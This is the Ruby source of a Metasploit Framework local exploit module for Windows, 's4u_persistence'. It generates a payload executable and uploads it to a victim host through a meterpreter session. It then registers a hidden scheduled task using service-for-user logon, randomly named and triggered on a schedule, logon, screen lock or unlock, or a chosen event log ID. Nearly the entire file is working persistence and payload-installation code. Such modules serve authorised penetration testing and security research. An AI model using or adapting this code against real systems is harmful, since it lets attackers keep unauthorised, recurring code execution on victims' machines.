metasploit-framework/modules/exploits/windows/local/s4u_persistence.rb

##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/exploit/exe'

class Metasploit3 < Msf::Exploit::Local
	Rank = ExcellentRanking

	include Msf::Post::Common
	include Msf::Post::File
	include Msf::Post::Windows::Priv
	include Exploit::EXE

	def initialize(info={})
		super( update_info( info,
			'Name'          => 'Windows Manage User Level Persistent Payload Installer',
			'Description'   => %q{
				Creates a scheduled task that will run using service-for-user (S4U).
				This allows the scheduled task to run even as an unprivileged user
				that is not logged into the device. This will result in lower security
				context, allowing access to local resources only. The module
				requires 'Logon as a batch job' permissions (SeBatchLogonRight).
			},
			'License'       => MSF_LICENSE,
			'Author'        =>
				[
					'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
					'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
				],
			'Platform'      => [ 'windows' ],
			'SessionTypes'  => [ 'meterpreter' ],
			'Targets'       => [ [ 'Windows', {} ] ],
			'DisclosureDate' => 'Jan 2 2013', # Date of scriptjunkie's blog post
			'DefaultTarget' => 0,
			'References'     => [
				[ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'],
				[ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/']
			]
		))

		register_options(
			[
				OptInt.new('FREQUENCY', [false, 'Schedule trigger: Frequency in minutes to execute']),
				OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires']),
				OptEnum.new('TRIGGER', [true, 'Payload trigger method', 'schedule',['logon', 'lock', 'unlock','schedule', 'event']]),
				OptString.new('REXENAME',[false, 'Name of exe on remote system']),
				OptString.new('RTASKNAME',[false, 'Name of exe on remote system']),
				OptString.new('PATH',[false, 'PATH to write payload'])
			], self.class)

		register_advanced_options(
			[
				OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event']),
				OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.']),
				OptString.new('XPATH', [false, 'XPath query'])
			], self.class)
	end

	def exploit
		if not (sysinfo['OS'] =~ /Build [6-9]\d\d\d/)
			fail_with(Exploit::Failure::NoTarget, "This module only works on Vista/2008 and above")
		end

		if datastore['TRIGGER'] == "event"
			if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil?
				print_status("The properties of any event in the event viewer will contain this information")
				fail_with(Exploit::Failure::BadConfig, "Advanced options EVENT_LOG and EVENT_ID required for event")
			end
		end

		# Generate payload
		payload = generate_payload_exe

		# Generate remote executable name
		rexename = generate_rexename

		# Generate path names
		xml_path,rexe_path = generate_path(rexename)

		# Upload REXE to victim fs
		upload_rexe(rexe_path, payload)

		# Create basic XML outline
		xml = create_xml(rexe_path)

		# Fix XML based on trigger
		xml = add_xml_triggers(xml)

		# Write XML to victim fs, if fail clean up
		write_xml(xml, xml_path, rexe_path)

		# Name task with Opt or give random name
		schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8)+6))

		# Create task with modified XML
		create_task(xml_path, schname, rexe_path)
	end

	##############################################################
	# Generate name for payload
	# Returns name

	def generate_rexename
		rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
		if not rexename =~ /\.exe$/
			print_warning("#{datastore['REXENAME']} isn't an exe")
		end
		return rexename
	end

	##############################################################
	# Generate Path for payload upload
	# Returns path for xml and payload

	def generate_path(rexename)
		# generate a path to write payload and xml
		path = datastore['PATH'] || expand_path("%TEMP%")
		xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.xml"
		rexe_path = "#{path}\\#{rexename}"
		return xml_path,rexe_path
	end

	##############################################################
	# Upload the executable payload
	# Returns boolean for success

	def upload_rexe(path, payload)
			vprint_status("Uploading #{path}")
			if file? path
				fail_with(Exploit::Failure::Unknown, "File #{path} already exists...exiting")
			end
		begin
			write_file(path, payload)
		rescue => e
			fail_with(Exploit::Failure::Unknown, "Could not upload to #{path}")
		end
		print_status("Successfully uploaded remote executable to #{path}")
	end

	##############################################################
	# Creates a scheduled task, exports as XML, deletes task
	# Returns normal XML for generic task

	def create_xml(rexe_path)
		xml_path = File.join(Msf::Config.install_root, "data", "exploits", "s4u_persistence.xml")
		xml_file = File.new(xml_path,"r")
		xml = xml_file.read
		xml_file.close

		# Get local time, not system time from victim machine
		begin
			vt = client.railgun.kernel32.GetLocalTime(32)
			ut = vt['lpSystemTime'].unpack("v*")
			t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5])
		rescue
			print_warning("Could not read system time from victim...using your local time to determine creation date")
			t = ::Time.now
		end
		date = t.strftime("%Y-%m-%d")
		time = t.strftime("%H:%M:%S")

		# put in correct times
		xml = xml.gsub(/DATEHERE/, "#{date}T#{time}")

		domain, user = client.sys.config.getuid.split('\\')

		# put in user information
		xml = xml.sub(/DOMAINHERE/, user)
		xml = xml.sub(/USERHERE/, "#{domain}\\#{user}")

		xml = xml.sub(/COMMANDHERE/, rexe_path)
		return xml
	end

	##############################################################
	# Takes the XML, alters it based on trigger specified. Will also
	# add in expiration tag if used.
	# Returns the modified XML

	def add_xml_triggers(xml)
		# Insert trigger
		case datastore['TRIGGER']
			when 'logon'
				# Trigger based on winlogon event, checks windows license key after logon
				print_status("This trigger triggers on event 4101 which validates the Windows license")
				line = "*[System[EventID='4101']] and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]"
				xml = create_trigger_event_tags("Application", line, xml)

			when 'lock'
				xml = create_trigger_tags("SessionLock", xml)

			when 'unlock'
				xml = create_trigger_tags("SessionUnlock", xml)

			when 'event'
				line = "*[System[(EventID=#{datastore['EVENT_ID']})]]"
				if not datastore['XPATH'].nil? and not datastore['XPATH'].empty?
					# Append xpath queries
					line << " and #{datastore['XPATH']}"
					# Print XPath query, useful to user to spot issues with uncommented single quotes
					print_status("XPath query: #{line}")
				end

				xml = create_trigger_event_tags(datastore['EVENT_LOG'], line, xml)

			when 'schedule'
				# Change interval tag, insert into XML
				if datastore['FREQUENCY'] != 0
					minutes = datastore['FREQUENCY']
				else
					print_status("Defaulting frequency to every hour")
					minutes = 60
				end
				xml = xml.sub(/<Interval>.*?</, "<Interval>PT#{minutes}M<")

				# Insert expire tag if not 0
				unless datastore['EXPIRE_TIME'] == 0
					# Generate expire tag
					end_boundary = create_expire_tag
					# Inject expire tag
					insert = xml.index("</StartBoundary>")
					xml.insert(insert + 16, "\n      #{end_boundary}")
				end
		end
		return xml
	end

	##############################################################
	# Creates end boundary tag which expires the trigger
	# Returns XML for expire

	def create_expire_tag()
		# Get local time, not system time from victim machine
		begin
			vt = client.railgun.kernel32.GetLocalTime(32)
			ut = vt['lpSystemTime'].unpack("v*")
			t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5])
		rescue
			print_error("Could not read system time from victim...using your local time to determine expire date")
			t = ::Time.now
		end

		# Create time object to add expire time to and create tag
		t = t + (datastore['EXPIRE_TIME'] * 60)
		date = t.strftime("%Y-%m-%d")
		time = t.strftime("%H:%M:%S")
		end_boundary = "<EndBoundary>#{date}T#{time}</EndBoundary>"
		return end_boundary
	end

	##############################################################
	# Creates trigger XML for session state triggers and replaces
	# the time trigger.
	# Returns altered XML

	def create_trigger_tags(trig, xml)
		domain, user = client.sys.config.getuid.split('\\')

		# Create session state trigger, weird spacing used to maintain
		# natural Winadows spacing for XML export
		temp_xml = "<SessionStateChangeTrigger>\n"
		temp_xml << "      #{create_expire_tag}" unless datastore['EXPIRE_TIME'] == 0
		temp_xml << "      <Enabled>true</Enabled>\n"
		temp_xml << "      <StateChange>#{trig}</StateChange>\n"
		temp_xml << "      <UserId>#{domain}\\#{user}</UserId>\n"
		temp_xml << "    </SessionStateChangeTrigger>"

		xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml)

		return xml
	end

	##############################################################
	# Creates trigger XML for event based triggers and replaces
	# the time trigger.
	# Returns altered XML

	def create_trigger_event_tags(log, line, xml)
		# Fscked up XML syntax for windows event #{id} in #{log}, weird spacind
		# used to maintain natural Windows spacing for XML export
		temp_xml = "<EventTrigger>\n"
		temp_xml << "      #{create_expire_tag}\n" unless datastore['EXPIRE_TIME'] == 0
		temp_xml << "      <Enabled>true</Enabled>\n"
		temp_xml << "      <Subscription>&lt;QueryList&gt;&lt;Query Id=\"0\" "
		temp_xml << "Path=\"#{log}\"&gt;&lt;Select Path=\"#{log}\"&gt;"
		temp_xml << line
		temp_xml << "&lt;/Select&gt;&lt;/Query&gt;&lt;/QueryList&gt;"
		temp_xml << "</Subscription>\n"
		temp_xml << "    </EventTrigger>"

		xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml)
		return xml
	end

	##############################################################
	# Takes the XML and a path and writes file to filesystem
	# Returns boolean for success

	def write_xml(xml, path, rexe_path)
		if file? path
			delete_file(rexe_path)
			fail_with(Exploit::Failure::Unknown, "File #{path} already exists...exiting")
		end
		begin
			write_file(path, xml)
		rescue
			delete_file(rexe_path)
			fail_with(Exploit::Failure::Unknown, "Issues writing XML to #{path}")
		end
		print_status("Successfully wrote XML file to #{path}")
	end

	##############################################################
	# Takes path and delete file
	# Returns boolean for success

	def delete_file(path)
		begin
			file_rm(path)
		rescue
			print_warning("Could not delete file #{path}, delete manually")
		end
	end

	##############################################################
	# Takes path and name for task and creates final task
	# Returns boolean for success

	def create_task(path, schname, rexe_path)
		# create task using XML file on victim fs
		create_task_response = cmd_exec("cmd.exe", "/c schtasks /create /xml #{path} /tn \"#{schname}\"")
		if create_task_response =~ /has successfully been created/
			print_good("Persistence task #{schname} created successfully")

			# Create to delete commands for exe and task
			del_task = "schtasks /delete /tn \"#{schname}\" /f"
			print_status("#{"To delete task:".ljust(20)} #{del_task}")
			print_status("#{"To delete payload:".ljust(20)} del #{rexe_path}")
			del_task << "\ndel #{rexe_path}"

			# Delete XML from victim
			delete_file(path)

			# Save info to notes DB
			report_note(:host => session.session_host,
			:type => "host.s4u_persistance.cleanup",
			:data => {
				:session_num => session.sid,
				:stype => session.type,
				:desc => session.info,
				:platform => session.platform,
				:via_payload => session.via_payload,
				:via_exploit => session.via_exploit,
				:created_at => Time.now.utc,
				:delete_commands =>  del_task
				}
			)
		elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/
			# Clean up
			delete_file(rexe_path)
			delete_file(path)
			error = "The scheduled task name is already in use"
			fail_with(Exploit::Failure::Unknown, error)
		else
			error = "Issues creating task using XML file schtasks"
			vprint_error("Error: #{create_task_response}")
			if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event"
				print_warning("Security log can restricted by UAC, try a different trigger")
			end
			# Clean up
			delete_file(rexe_path)
			delete_file(path)
			fail_with(Exploit::Failure::Unknown, error)
		end
	end
end